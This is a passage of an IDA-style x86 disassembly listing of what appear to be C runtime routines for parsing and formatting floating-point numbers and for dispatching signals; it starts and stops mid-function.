arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42519E
push edi
mov [ebp+arg_8], eax
loc_425151: ; CODE XREF: sub_42512A+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4250CF
push ebx
call sub_4250CF
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
push ebx
call sub_4250CF
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425151
xor edx, edx
pop edi
loc_42519E: ; CODE XREF: sub_42512A+21j
; sub_42512A+9Fj
cmp [ebx+8], edx
jnz short loc_4251CB
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42519E
; ---------------------------------------------------------------------------
loc_4251CB: ; CODE XREF: sub_42512A+77j
mov esi, 8000h
loc_4251D0: ; CODE XREF: sub_42512A+B9j
test [ebx+8], esi
jnz short loc_4251E5
push ebx
call sub_4250CF
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4251D0
; ---------------------------------------------------------------------------
loc_4251E5: ; CODE XREF: sub_42512A+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_42512A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251F1 proc near ; CODE XREF: sub_424518+17p
; sub_424545+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_42522C: ; CODE XREF: sub_4251F1+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_425242
cmp cl, 9
jz short loc_425242
cmp cl, 0Ah
jz short loc_425242
cmp cl, 0Dh
jnz short loc_425245
loc_425242: ; CODE XREF: sub_4251F1+40j
; sub_4251F1+45j ...
inc edi
jmp short loc_42522C
; ---------------------------------------------------------------------------
loc_425245: ; CODE XREF: sub_4251F1+4Fj
push 4
pop esi
loc_425248: ; CODE XREF: sub_4251F1+AEj
; sub_4251F1+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4254CB ; default
; jumptable 00425254 case 10
jmp off_425692[eax*4] ; switch jump
loc_42525B: ; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 0
jl short loc_42526C
cmp bl, 39h
jg short loc_42526C
loc_425265: ; CODE XREF: sub_4251F1+C4j
; sub_4251F1+118j
push 3
jmp loc_425489
; ---------------------------------------------------------------------------
loc_42526C: ; CODE XREF: sub_4251F1+6Dj
; sub_4251F1+72j
cmp bl, byte_43C508
jnz short loc_42527B
loc_425274: ; CODE XREF: sub_4251F1+124j
push 5
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_42527B: ; CODE XREF: sub_4251F1+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4252A1
dec eax
dec eax
jz short loc_425295
sub eax, 3
jnz loc_425564
jmp loc_425324
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_4251F1+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252A1: ; CODE XREF: sub_4251F1+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252AA: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 1
mov [ebp+var_10], edx
jl short loc_4252B7
cmp bl, 39h
jle short loc_425265
loc_4252B7: ; CODE XREF: sub_4251F1+BFj
cmp bl, byte_43C508
jz loc_42537F
cmp bl, 2Bh
jz short loc_4252F9
cmp bl, 2Dh
jz short loc_4252F9
cmp bl, 30h
jz short loc_425324
loc_4252D2: ; CODE XREF: sub_4251F1+207j
cmp bl, 43h
jle loc_425564
cmp bl, 45h
jle short loc_4252F2
cmp bl, 63h
jle loc_425564
cmp bl, 65h
jg loc_425564
loc_4252F2: ; CODE XREF: sub_4251F1+EDj
push 6
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_4252F9: ; CODE XREF: sub_4251F1+D5j
; sub_4251F1+DAj ...
dec edi
push 0Bh
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_425301: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 2
jl short loc_42530F
cmp bl, 39h
jle loc_425265
loc_42530F: ; CODE XREF: sub_4251F1+113j
cmp bl, byte_43C508
jz loc_425274
cmp bl, 30h
jnz loc_4254D9
loc_425324: ; CODE XREF: sub_4251F1+9Fj
; sub_4251F1+DFj
mov eax, edx
jmp loc_425248
; ---------------------------------------------------------------------------
loc_42532B: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_10], edx ; jumptable 00425254 case 3
loc_42532E: ; CODE XREF: sub_4251F1+184j
cmp dword_43C504, edx
jle short loc_425347
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425355
; ---------------------------------------------------------------------------
loc_425347: ; CODE XREF: sub_4251F1+143j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425355: ; CODE XREF: sub_4251F1+154j
test eax, eax
jz short loc_425377
cmp [ebp+var_4], 19h
jnb short loc_42536F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425372
; ---------------------------------------------------------------------------
loc_42536F: ; CODE XREF: sub_4251F1+16Cj
inc [ebp+var_8]
loc_425372: ; CODE XREF: sub_4251F1+17Cj
mov bl, [edi]
inc edi
jmp short loc_42532E
; ---------------------------------------------------------------------------
loc_425377: ; CODE XREF: sub_4251F1+166j
cmp bl, byte_43C508
jnz short loc_4253E6
loc_42537F: ; CODE XREF: sub_4251F1+CCj
mov eax, esi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425386: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+var_4], 0 ; jumptable 00425254 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_42539F
loc_425392: ; CODE XREF: sub_4251F1+1ACj
cmp bl, 30h
jnz short loc_42539F
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425392
; ---------------------------------------------------------------------------
loc_42539F: ; CODE XREF: sub_4251F1+19Fj
; sub_4251F1+1A4j ...
cmp dword_43C504, edx
jle short loc_4253B8
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4253C6
; ---------------------------------------------------------------------------
loc_4253B8: ; CODE XREF: sub_4251F1+1B4j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4253C6: ; CODE XREF: sub_4251F1+1C5j
test eax, eax
jz short loc_4253E6
cmp [ebp+var_4], 19h
jnb short loc_4253E1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4253E1: ; CODE XREF: sub_4251F1+1DDj
mov bl, [edi]
inc edi
jmp short loc_42539F
; ---------------------------------------------------------------------------
loc_4253E6: ; CODE XREF: sub_4251F1+18Cj
; sub_4251F1+1D7j
cmp bl, 2Bh
jz loc_4252F9
cmp bl, 2Dh
jz loc_4252F9
jmp loc_4252D2
; ---------------------------------------------------------------------------
loc_4253FD: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp dword_43C504, edx ; jumptable 00425254 case 5
mov [ebp+var_24], edx
jle short loc_425419
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425427
; ---------------------------------------------------------------------------
loc_425419: ; CODE XREF: sub_4251F1+215j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425427: ; CODE XREF: sub_4251F1+226j
test eax, eax
jz loc_4254D9
mov eax, esi
jmp short loc_42548A
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
lea ecx, [edi-2] ; jumptable 00425254 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_425443
cmp bl, 39h
jle short loc_425487
loc_425443: ; CODE XREF: sub_4251F1+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4254BF
dec eax
dec eax
jz short loc_4254B3
sub eax, 3
jnz loc_425567
loc_425458: ; CODE XREF: sub_4251F1+2A4j
push 8
jmp short loc_4254C1
; ---------------------------------------------------------------------------
loc_42545C: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], edx ; jumptable 00425254 case 8
loc_42545F: ; CODE XREF: sub_4251F1+276j
cmp bl, 30h
jnz short loc_425469
mov bl, [edi]
inc edi
jmp short loc_42545F
; ---------------------------------------------------------------------------
loc_425469: ; CODE XREF: sub_4251F1+271j
cmp bl, 31h
jl loc_425564
cmp bl, 39h
jg loc_425564
jmp short loc_425487
; ---------------------------------------------------------------------------
loc_42547D: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 7
jl short loc_425490
cmp bl, 39h
jg short loc_425490
loc_425487: ; CODE XREF: sub_4251F1+250j
; sub_4251F1+28Aj
push 9
loc_425489: ; CODE XREF: sub_4251F1+76j
pop eax
loc_42548A: ; CODE XREF: sub_4251F1+240j
dec edi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425490: ; CODE XREF: sub_4251F1+28Fj
; sub_4251F1+294j
cmp bl, 30h
jnz short loc_4254D9
jmp short loc_425458
; ---------------------------------------------------------------------------
loc_425497: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11
jz short loc_4254C7
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4254BF
dec eax
dec eax
jnz loc_425567
loc_4254B3: ; CODE XREF: sub_4251F1+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254BF: ; CODE XREF: sub_4251F1+258j
; sub_4251F1+2B8j
push 7
loc_4254C1: ; CODE XREF: sub_4251F1+85j
; sub_4251F1+103j ...
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254C7: ; CODE XREF: sub_4251F1+2AAj
push 0Ah
dec edi
pop eax
loc_4254CB: ; CODE XREF: sub_4251F1+5Dj
; sub_4251F1+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425254 case 10
jz loc_425569
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254D9: ; CODE XREF: sub_4251F1+12Dj
; sub_4251F1+238j ...
mov edi, [ebp+arg_8]
jmp loc_425569
; ---------------------------------------------------------------------------
loc_4254E1: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], 1 ; jumptable 00425254 case 9
xor esi, esi
loc_4254EA: ; CODE XREF: sub_4251F1+339j
cmp dword_43C504, 1
jle short loc_425502
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_425511
; ---------------------------------------------------------------------------
loc_425502: ; CODE XREF: sub_4251F1+300j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425511: ; CODE XREF: sub_4251F1+30Fj
test eax, eax
jz short loc_425531
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_42552C
mov bl, [edi]
inc edi
jmp short loc_4254EA
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4251F1+334j
mov esi, 1451h
loc_425531: ; CODE XREF: sub_4251F1+322j
mov [ebp+var_1C], esi
loc_425534: ; CODE XREF: sub_4251F1+371j
cmp dword_43C504, 1
jle short loc_42554C
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_42555B
; ---------------------------------------------------------------------------
loc_42554C: ; CODE XREF: sub_4251F1+34Aj
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42555B: ; CODE XREF: sub_4251F1+359j
test eax, eax
jz short loc_425564
mov bl, [edi]
inc edi
jmp short loc_425534
; ---------------------------------------------------------------------------
loc_425564: ; CODE XREF: sub_4251F1+99j
; sub_4251F1+E4j ...
dec edi
jmp short loc_425569
; ---------------------------------------------------------------------------
loc_425567: ; CODE XREF: sub_4251F1+261j
; sub_4251F1+2BCj
mov edi, ecx
loc_425569: ; CODE XREF: sub_4251F1+2DDj
; sub_4251F1+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425651
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425595
cmp [ebp+var_45], 5
jl short loc_425589
inc [ebp+var_45]
loc_425589: ; CODE XREF: sub_4251F1+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425598
; ---------------------------------------------------------------------------
loc_425595: ; CODE XREF: sub_4251F1+38Dj
mov eax, [ebp+var_C]
loc_425598: ; CODE XREF: sub_4251F1+3A2j
cmp [ebp+var_4], 0
jbe loc_425647
loc_4255A2: ; CODE XREF: sub_4251F1+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4255B0
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4255A2
; ---------------------------------------------------------------------------
loc_4255B0: ; CODE XREF: sub_4251F1+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_42512A
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4255CF
neg eax
loc_4255CF: ; CODE XREF: sub_4251F1+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4255DA
add eax, [ebp+arg_10]
loc_4255DA: ; CODE XREF: sub_4251F1+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4255E2
sub eax, [ebp+arg_14]
loc_4255E2: ; CODE XREF: sub_4251F1+3ECj
cmp eax, 1450h
jle short loc_425619
mov [ebp+var_2C], 1
loc_4255F0: ; CODE XREF: sub_4251F1+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4255FC: ; CODE XREF: sub_4251F1+454j
; sub_4251F1+45Ej
cmp [ebp+var_2C], 0
jz short loc_425662
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425619: ; CODE XREF: sub_4251F1+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425629
mov [ebp+var_30], 1
jmp short loc_4255F0
; ---------------------------------------------------------------------------
loc_425629: ; CODE XREF: sub_4251F1+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_425DDA
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425647: ; CODE XREF: sub_4251F1+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425651: ; CODE XREF: sub_4251F1+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425662: ; CODE XREF: sub_4251F1+40Fj
cmp [ebp+var_30], 0
jz short loc_425677
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425677: ; CODE XREF: sub_4251F1+426j
; sub_4251F1+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4251F1 endp
; ---------------------------------------------------------------------------
off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r
dd offset loc_4252AA ; jump table for switch statement
dd offset loc_425301
dd offset loc_42532B
dd offset loc_425386
dd offset loc_4253FD
dd offset loc_425433
dd offset loc_42547D
dd offset loc_42545C
dd offset loc_4254E1
dd offset loc_4254CB
dd offset loc_425497
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425724
mov byte ptr [ebx+2], 2Dh
jmp short loc_425728
; ---------------------------------------------------------------------------
loc_425724: ; CODE XREF: sub_4256C2+5Aj
mov byte ptr [ebx+2], 20h
loc_425728: ; CODE XREF: sub_4256C2+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_42574E
test edi, edi
jnz short loc_42574E
cmp [ebp+arg_0], edi
jnz short loc_42574E
loc_425739: ; CODE XREF: sub_4256C2+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_42594C
; ---------------------------------------------------------------------------
loc_42574E: ; CODE XREF: sub_4256C2+6Cj
; sub_4256C2+70j ...
cmp dx, si
jnz short loc_4257CD
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425767
cmp [ebp+arg_0], 0
jz short loc_425776
loc_425767: ; CODE XREF: sub_4256C2+9Dj
test edi, 40000000h
jnz short loc_425776
push offset a1Snan ; "1#SNAN"
jmp short loc_4257BC
; ---------------------------------------------------------------------------
loc_425776: ; CODE XREF: sub_4256C2+A3j
; sub_4256C2+ABj
test cx, cx
jz short loc_425790
cmp edi, 0C0000000h
jnz short loc_425790
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Ind ; "1#IND"
jmp short loc_42579F
; ---------------------------------------------------------------------------
loc_425790: ; CODE XREF: sub_4256C2+B7j
; sub_4256C2+BFj
cmp edi, eax
jnz short loc_4257B7
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Inf ; "1#INF"
loc_42579F: ; CODE XREF: sub_4256C2+CCj
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4257AE: ; CODE XREF: sub_4256C2+109j
and [ebp+var_4], 0
jmp loc_425925
; ---------------------------------------------------------------------------
loc_4257B7: ; CODE XREF: sub_4256C2+C5j
; sub_4256C2+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_4257BC: ; CODE XREF: sub_4256C2+B2j
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4257AE
; ---------------------------------------------------------------------------
loc_4257CD: ; CODE XREF: sub_4256C2+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DDA
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_42582E
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425BBA
pop ecx
pop ecx
loc_42582E: ; CODE XREF: sub_4256C2+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425848
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_42584B
jmp loc_425739
; ---------------------------------------------------------------------------
loc_425848: ; CODE XREF: sub_4256C2+173j
mov edi, [ebp+arg_C]
loc_42584B: ; CODE XREF: sub_4256C2+17Fj
cmp edi, 15h
jle short loc_425853
push 15h
pop edi
loc_425853: ; CODE XREF: sub_4256C2+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425869: ; CODE XREF: sub_4256C2+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4250CF
dec [ebp+arg_14]
pop ecx
jnz short loc_425869
test esi, esi
jge short loc_425893
neg esi
and esi, 0FFh
jle short loc_425893
loc_425886: ; CODE XREF: sub_4256C2+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4250FD
dec esi
pop ecx
jnz short loc_425886
loc_425893: ; CODE XREF: sub_4256C2+1B8j
; sub_4256C2+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_4258F0
mov [ebp+arg_C], ecx
loc_4258A3: ; CODE XREF: sub_4256C2+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4250CF
lea eax, [ebp+var_10]
push eax
call sub_4250CF
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425071
lea eax, [ebp+var_10]
push eax
call sub_4250CF
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4258A3
mov eax, [ebp+arg_14]
loc_4258F0: ; CODE XREF: sub_4256C2+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_42592D
loc_4258FD: ; CODE XREF: sub_4256C2+248j
cmp eax, ecx
jb short loc_425910
cmp byte ptr [eax], 39h
jnz short loc_42590C
mov byte ptr [eax], 30h
dec eax
jmp short loc_4258FD
; ---------------------------------------------------------------------------
loc_42590C: ; CODE XREF: sub_4256C2+242j
cmp eax, ecx
jnb short loc_425914
loc_425910: ; CODE XREF: sub_4256C2+23Dj
inc eax
inc word ptr [ebx]
loc_425914: ; CODE XREF: sub_4256C2+24Cj
inc byte ptr [eax]
loc_425916: ; CODE XREF: sub_4256C2+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425925: ; CODE XREF: sub_4256C2+F0j
mov eax, [ebp+var_4]
loc_425928: ; CODE XREF: sub_4256C2+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42592D: ; CODE XREF: sub_4256C2+239j
; sub_4256C2+275j
cmp eax, ecx
jb short loc_42593D
cmp byte ptr [eax], 30h
jnz short loc_425939
dec eax
jmp short loc_42592D
; ---------------------------------------------------------------------------
loc_425939: ; CODE XREF: sub_4256C2+272j
cmp eax, ecx
jnb short loc_425916
loc_42593D: ; CODE XREF: sub_4256C2+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_42594C: ; CODE XREF: sub_4256C2+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425928
sub_4256C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425955 proc near ; CODE XREF: sub_42255C+226Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4259BC
dec eax
dec eax
jz short loc_4259AD
sub eax, 4
jz short loc_4259AD
sub eax, 3
jz short loc_4259AD
sub eax, 4
jz short loc_4259A0
sub eax, 6
jz short loc_425993
dec eax
jz short loc_425986
or eax, 0FFFFFFFFh
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_425986: ; CODE XREF: sub_425955+27j
mov esi, dword_4DB57C
mov eax, offset dword_4DB57C
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_425993: ; CODE XREF: sub_425955+24j
mov esi, dword_4DB578
mov eax, offset dword_4DB578
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259A0: ; CODE XREF: sub_425955+1Fj
mov esi, dword_4DB580
mov eax, offset dword_4DB580
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259AD: ; CODE XREF: sub_425955+10j
; sub_425955+15j ...
push edi
call sub_425A82
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259BC: ; CODE XREF: sub_425955+Cj
mov esi, dword_4DB574
mov eax, offset dword_4DB574
loc_4259C7: ; CODE XREF: sub_425955+3Cj
; sub_425955+49j ...
cmp esi, 1
jnz short loc_4259D3
xor eax, eax
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_4259D3: ; CODE XREF: sub_425955+75j
test esi, esi
jnz short loc_4259DE
push 3
call sub_41B7C2
loc_4259DE: ; CODE XREF: sub_425955+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_4259F0
cmp edi, 0Bh
jz short loc_4259F0
cmp edi, 4
jnz short loc_425A16
loc_4259F0: ; CODE XREF: sub_425955+8Fj
; sub_425955+94j
mov ebx, dword_4DB350
and dword_4DB350, 0
cmp edi, ecx
jnz short loc_425A45
mov edx, dword_43C94C
mov dword_43C94C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425A19
; ---------------------------------------------------------------------------
loc_425A16: ; CODE XREF: sub_425955+99j
mov ebx, [ebp+arg_0]
loc_425A19: ; CODE XREF: sub_425955+BFj
cmp edi, ecx
jnz short loc_425A45
mov eax, dword_43C940
mov ecx, dword_43C944
add ecx, eax
cmp eax, ecx
jge short loc_425A4C
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43C8D0h[edx*4]
loc_425A3A: ; CODE XREF: sub_425955+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425A3A
jmp short loc_425A4C
; ---------------------------------------------------------------------------
loc_425A45: ; CODE XREF: sub_425955+AAj
; sub_425955+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425A5A
loc_425A4C: ; CODE XREF: sub_425955+D7j
; sub_425955+EEj
push dword_43C94C
push 8
call esi
pop ecx
pop ecx
jmp short loc_425A68
; ---------------------------------------------------------------------------
